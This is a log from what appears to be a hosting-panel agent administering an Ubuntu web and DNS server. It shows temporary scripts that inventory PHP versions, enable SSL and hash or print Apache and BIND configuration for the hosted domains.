root 854294 0.0 0.3 223596 29780 ? Ss 09:55 0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-08-26 14:57:57:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'desktop',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 22.04.5 LTS',
'rel' => '22.04.5',
'mac' => 0,
'distro' => 'ubuntu',
'swapfile' => '/swapfile',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'reqtimeout_module',
26 => 'rewrite_module',
27 => 'setenvif_module',
28 => 'socache_shmcb_module',
29 => 'ssl_module',
30 => 'status_module',
),
),
)
2025-08-26 14:57:57:
PUT: /tmp/pkp208293
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-08-26 14:57:57:
chmod 755 /tmp/pkp208293; /tmp/pkp208293; rm /tmp/pkp208293
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
2025-08-26 14:57:58:
PUT: /tmp/pkp858505
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-08-26 14:57:58:
chmod 755 /tmp/pkp858505; /tmp/pkp858505; rm /tmp/pkp858505
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.33
2025-08-26 14:58:00:
PUT: /tmp/pkp256061
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 14:58:00:
chmod 755 /tmp/pkp256061; /tmp/pkp256061; rm /tmp/pkp256061
(gzipped output)
2025-08-26 14:58:01:
PUT: /tmp/pkp529168
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-08-26 14:58:01:
chmod 755 /tmp/pkp529168; /tmp/pkp529168; rm /tmp/pkp529168
status=ok
2025-08-26 14:58:02:
PUT: /tmp/pkp611789
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 14:58:02:
chmod 755 /tmp/pkp611789; /tmp/pkp611789; rm /tmp/pkp611789
(gzipped output)
MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/000-default.conf)= f3066f67070ab9b1ad9bab81ca05330a
MD5(/etc/apache2/sites-available/pjy_desktop_us.conf)= 0437bc933db2ebb1dffb132151d784c7
MD5(/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt)= 4b3d257734e7da5f2fddb670d792402e
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fb555fa2b39e6998378eb892ca8f3a3
MD5(/etc/apache2/sites-available/cityelectric_www_site.conf)= 47d6605a7fcafc51474c3d37430bbb4d
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2/sites-available/pjy_desktop_us.conf
link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2/sites-available/cityelectric_www_site.conf
2025-08-26 14:58:03:
PUT: /tmp/pkp219963
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/cityelectric_www_site.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 14:58:03:
chmod 755 /tmp/pkp219963; /tmp/pkp219963; rm /tmp/pkp219963
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/cityelectric_www_site.conf 503
<VirtualHost *:80>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2025-08-26 14:58:05: Establishing a connection
2025-08-26 14:58:05:
PUT: /tmp/pkp611617
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-26 14:58:05:
runuser -l bind -s /bin/bash -c '/tmp/pkp611617; rm /tmp/pkp611617'
2025-08-26 14:58:05:
2025-08-26 14:58:05:
PUT: /tmp/pkp259374
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/bind/named.conf.local')
show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf')
show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 14:58:05:
chmod 755 /tmp/pkp259374; /tmp/pkp259374; rm /tmp/pkp259374
2025-08-26 14:58:05:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/bind/named.conf.local 4844
//
// Do any local configuration here
//
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";
include "0299c0c61c7ba070834ba2dd758c9c51.conf"; # biblealive.us
include "25162dac9ffbcb0be59287b7a9bde7f4.conf"; # carelinks.net
include "b74ce055b83f6cfebe00ab1c0c5d2af2.conf"; # hostz.org
include "54524ffc708f1919654eee3e8e8e8adb.conf"; # carelinks.org
include "265e805c99c946847c9512ae0a2f1979.conf"; # Unknown Zone
include "94cdb93348589672ae2f4f7d5cf38aba.conf"; # christadelphia.net
include "695c92f1e52b32224b4afd59cf37d6f1.conf"; # heaster.org
include "a9ce89f9cbbf500822cbde90492a4b59.conf"; # c-c-n.net
include "1a70a64890644d614d006709f4d07011.conf"; # bookofjames.info
include "76868f6e068adf5f82f053b795932883.conf"; # aletheiacollege.net
include "b64ede8e027cbe0b900c74b7dad61fc6.conf"; # hristadelfiane.org
include "a6604325e1e95bb658a4876ded716488.conf"; # realchrist.info
include "c23c0a067c65fe695faa3f188e27944c.conf"; # realdevil.info
include "0a6ad15e551aafb493c6806effeddcf2.conf"; # thisisyourbible.info
include "7695e2001b9158b46e53b17c49af86b5.conf"; # murrayyoung.com
include "063b25bf16976ce1a2c836785c63433d.conf"; # bible-basics.info
include "e3a645e9cd9a48a14dd8493b70d9eeb7.conf"; # n-e-v.info
include "62fb2e372bc0a32115fbc83c762f20b5.conf"; # biblebooks.org.uk
include "9b1deba5ba095e87244f37a8e3f127c3.conf"; # exjw.org.uk
include "32d4fd93b17a2291b23647ec24f8da21.conf"; # vards.info
include "de5342f930e16cce802d35118a2fa8d3.conf"; # waltonecclesia.info
include "6f67b388e6765da580018fda67333d25.conf"; # tacomaecclesia.net
include "9c176806fc238e21c915b63d0649fc22.conf"; # shiretune.com.au
include "1e54f6c33ee3ca2eea403fca319b0ee4.conf"; # r-b-c.org
include "2debffd89b49e0229c33680cd8802ecb.conf"; # maminas.info
include "7be199ed365109a6d40950ee59d1f556.conf"; # carelinksoutreach.info
include "eebb27648fd2a6fb3ddcc9ab90e7112b.conf"; # baptizo.info
include "1f505a75628761de494a35ab69db20dd.conf"; # carelinksaustralia.info
include "88c5638dfb94d699fd48b1feb9d60cff.conf"; # biblebasicsonline.com
include "a4eb3fca977ca6015dcdbcabf7d11d48.conf"; # thinkpinkpixels.com
include "3c5ac3f042be6256f4781cbc416678be.conf"; # dalmenynaroomabushwalkers.info
include "c0f3c184d08b11c006e309fb0115bdd6.conf"; # osnovybiblii.info
include "5228c1dbadd38e40039230194a4f9e79.conf"; # osnowybiblii.info
include "a991f2a33195300884cfb80603e68095.conf"; # gospelstudies.net
include "3c4b5f94d47374f5ce45f7155d4ae5a8.conf"; # christadelphianfraternal.info
include "35d18abc44b089ffa23e3e2f0807ece6.conf"; # theyoungdesigners.us
include "40b78c826a55a9eeca31786e0586fee9.conf"; # islamicstate.info
include "93997bd832de09ba4e56713eaa81d340.conf"; # christadelphian.video
include "320b669d287ba63741ff57cf3e690770.conf"; # whysuffering.info
include "11674aee41a9cabe2304d659e10b5dd0.conf"; # drewmarshall.ca
include "0766fc100eec8a6853d7ddbdaedbb9bf.conf"; # freebible.info
include "05b92d9466be1ff60f99171b12b904c0.conf"; # bible.boston
include "d15154fdc73f852a93983b8efa978ccd.conf"; # carelinks-uk.org
include "ffb28d26a57997ceef6aa88af3ca2eb1.conf"; # siiguides.com
include "c92f7952a5e58a40373c6ea0395bbe60.conf"; # patientappsinc.com
include "69d0916aecf832c706b4d0e9097de457.conf"; # simplyinteractiveinc.com
include "9102cebf40552256181ade1b5794bce9.conf"; # vela.work
include "916eb0791d6219f551785c0d0cdb6551.conf"; # zoomchat.net
include "3d2ec12df06edc90dfcd3e90b9defc61.conf"; # stoughton.link
include "4e946d31d5dbbaea14c1f8a8cc65c592.conf"; # pjy.us
include "f526c54ffce876cc4878737cf365bd79.conf"; # the-computer-site.com
include "03d5b5f89be357e1588146db824a75a9.conf"; # hopeinstoughton.org
include "97b02af5a57f21e16869add9e7536c63.conf"; # patientapps.net
include "9ab47e96627d9522a0b8df2ee4322802.conf"; # patientapps.co
include "a1c902386bae85264c8bcd7d46d289a9.conf"; # emessage.email
include "1f055662da24bcf52398528dbf5a1c4f.conf"; # cityelectric.online
include "b77f3ffec345cac4b4296eed63420be1.conf"; # myapp.care
include "7312c9cb95b4bacf912d8bac1ea438cc.conf"; # vmix.com
include "6e7fd231117136482801b6740f7def61.conf"; # theyoungdesigners.com
include "ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf"; # bucketgigs.ca
include "82e710fb4c28419815112803356c4f79.conf"; # croydonchurch.info
include "d365b77ad7e9376e619973b277c11515.conf"; # kjvdictionary.org
include "b579aafafbcd32ebd30996c14e2929d0.conf"; # ineedtosaythis.com
include "e0dc27e9ac6120dd4b9b149abf3e317e.conf"; # dgmarshall.ca
include "210d2f210e4452e9446e4b9a5969250a.conf"; # dgmarshall.com
include "f9446b138d2c5ba2c536837db166189d.conf"; # hillrunfarm.ca
include "39a853d14cf222b11389743f34305dc2.conf"; # sosretreatscanada.com
include "28a5e75a7da01b086708dce3eb004d3c.conf"; # carelinks.org.uk
include "73c7599fdd5ae53f1a22acdec3f96f94.conf"; # cityelectric.site
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf 214
# this is an automatically created file: manual changes will be overwritten.
zone "cityelectric.site" IN {
##owner 0;
type master;
file "73c7599fdd5ae53f1a22acdec3f96f94.txt";
allow-update { none; };
};
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt 337
; this is an automatically created file: manual changes will be overwritten.
$TTL 3600
cityelectric.site. IN SOA cityelectric.site. hostmaster.cityelectric.site. ( 131242180 14400 3600 14400 3600 )
cityelectric.site. IN NS ns1.hostz.org.
cityelectric.site. IN NS ns2.hostz.org.
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
